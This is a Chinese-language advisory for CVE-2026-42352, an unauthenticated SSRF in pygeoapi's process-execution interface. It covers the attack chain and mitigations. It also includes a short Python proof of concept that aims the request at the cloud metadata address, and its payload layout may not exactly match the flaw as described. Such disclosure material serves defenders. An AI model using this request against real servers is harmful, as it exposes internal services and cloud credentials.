IPBUF安全漏洞报告
English
CVE-2026-42352 CVSS 8.6 高危

CVE-2026-42352 pygeoapi 内部HTTP服务请求漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42352
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
pygeoapi

相关标签

SSRFpygeoapiOGC API信息泄露高危漏洞

漏洞概述

pygeoapi是基于Python的OGC API标准服务器实现。在0.23.0至0.23.3之前的版本中,OGC API进程执行接口存在安全缺陷。该漏洞允许攻击者利用订阅者对象向内部HTTP服务发起未授权请求,从而可能访问内网敏感资源。此漏洞CVSS评分为8.6,被评定为高危,且无需用户交互或认证即可远程利用,对机密性构成严重威胁。

技术细节

该漏洞的根源在于pygeoapi在处理OGC API进程执行请求时,未能对用户通过订阅者对象发起的HTTP请求目标进行充分的验证与过滤。具体来说,应用程序接口允许传入特定的参数来定义请求的目标地址。攻击者可以利用这一机制,构造恶意的API请求,将目标URL指向内部网络资源。由于CVSS向量中范围(Scope)被标记为C(Changed),这意味着漏洞的影响范围超出了受影响组件本身。攻击者无需任何身份认证(PR:N)即可远程利用此漏洞,通过服务器向内网发起HTTP请求,从而探测内部服务拓扑、读取本地敏感文件(如云服务元数据)或对内部脆弱应用进行攻击,导致严重的信息泄露。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是pygeoapi服务,且版本在0.23.0到0.23.3之间。
STEP 2
漏洞利用
攻击者构造特制的OGC API进程执行请求,在订阅者对象中指定内网敏感地址(如127.0.0.1或云元数据地址)。
STEP 3
内网探测与数据窃取
服务器解析请求并代为向内部地址发起HTTP连接,将内部服务的响应返回给攻击者,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable pygeoapi instance target_url = "http://vulnerable-host.com/processes/execution" # Malicious payload exploiting the subscriber object to access internal service # Example: Attempting to access the local metadata service (AWS/Azure/GCP) payload = { "inputs": { "resource": { "href": "http://169.254.169.254/latest/meta-data/", "type": "application/json", "rel": "subscriber" } }, "mode": "async" } try: # Sending the execution request response = requests.post(target_url, json=payload) if response.status_code == 200 or response.status_code == 201: print("[+] Request sent successfully. Check results endpoint for SSRF output.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

pygeoapi >= 0.23.0, < 0.23.3

防御指南

临时缓解措施
如果无法立即升级版本,建议在网络边界限制对pygeoapi服务的访问,特别是阻断对/processes相关端点的公网访问。同时,应配置服务器的出站防火墙规则,禁止应用服务器向内网敏感网段(如127.0.0.1、169.254.169.254等)发起HTTP请求。

参考链接